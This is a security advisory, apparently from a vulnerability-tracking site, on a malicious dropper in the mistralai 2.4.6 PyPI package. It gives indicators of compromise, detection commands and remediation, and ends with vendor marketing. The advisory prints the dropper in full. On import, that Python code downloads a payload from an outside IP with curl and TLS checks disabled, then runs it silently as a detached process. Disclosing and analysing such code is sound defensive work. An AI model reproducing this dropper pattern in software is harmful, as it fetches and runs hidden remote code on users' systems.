GHSA-wx9m-wx4f-4cmg
CRITICALMalicious dropper in mistralai 2.4.6 PyPI package
Blast Radius
mistralaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
The mistralai PyPI package version 2.4.6 contains a malicious dropper that executes on import on Linux. No v2.4.6 tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was 2.4.5, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).
The mistralai PyPI project is currently quarantined.
Affected
mistralai==2.4.6on PyPI.
Versions 2.4.5 and earlier are not known to be affected.
What the malicious code does
A function named _run_background_task was added to src/mistralai/client/__init__.py and called at module-load time. Reproduced from the public report in #523:
import subprocess as _sub
import os as _os
def _run_background_task():
if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
return
_os.environ["MISTRAL_INIT"] = "1"
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
try:
if not _os.path.exists(_dest):
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
if _os.path.exists(_dest):
_sub.Popen(
[_sys.executable, _dest],
stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
start_new_session=True, env=_os.environ.copy()
)
except:
pass
_run_background_task()
On Linux only, the function:
- Returns early if
MISTRAL_INITis already set in the environment. - Sets
MISTRAL_INIT=1so the spawned child does not re-trigger the dropper if it importsmistralai. - Downloads
https://83.142.209.194/transformers.pyzto/tmp/transformers.pyzwithcurl -k -L -s(TLS verification disabled, 15 s timeout). Skips the download if the file is already present. - Spawns
transformers.pyzwith the current Python interpreter (sys.executable) as a detached process viaPopen(..., start_new_session=True), with stdout and stderr discarded and any exception silently swallowed.
On non-Linux platforms the function returns immediately and does nothing.
The trigger is import mistralai, not package installation. pip install of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in setup.py / pyproject.toml, not in __init__.py — so pip install, pip download, and pip wheel do not invoke this dropper.
The contents of transformers.pyz are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.
Recommendation
Any Linux environment that imported mistralai==2.4.6 should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).
Check whether you are affected
Installed version:
pip show mistralai | grep -i ^version
Dependency files and lockfiles:
grep -n -E 'mistralai\b.*2\.4\.6' \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null
Dropped file on disk:
ls -la /tmp/transformers.pyz
The presence of /tmp/transformers.pyz on a host that imported mistralai==2.4.6 indicates the download step ran successfully. Combined with absence of MISTRAL_INIT in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.
Remediation
- Pin
mistralaito2.4.5or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g.git+https://github.com/mistralai/[email protected]. - On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.
Indicators of compromise
All IOCs below come from the public report in #523.
- File:
/tmp/transformers.pyz - Process: a Python interpreter (
sys.executable) running/tmp/transformers.pyzdetached from the parent's process group, with stdout/stderr to/dev/null - Environment variable:
MISTRAL_INIT=1 - Outbound HTTPS to
83[.]142[.]209[.]194fromcurl(no TLS verification) - Function added to the package:
_run_background_taskinsrc/mistralai/client/__init__.py - SHA-256 of the malicious sdist (as reported in #523):
6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b
References
- Public report with the dropper code: https://github.com/mistralai/client-python/issues/523
- Quarantined PyPI project: https://pypi.org/project/mistralai/
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mistralai | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mistralai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of mistralai has shipped for GHSA-wx9m-wx4f-4cmg yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wx9m-wx4f-4cmg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wx9m-wx4f-4cmg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wx9m-wx4f-4cmg in your dependencies?
O3 detects GHSA-wx9m-wx4f-4cmg across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.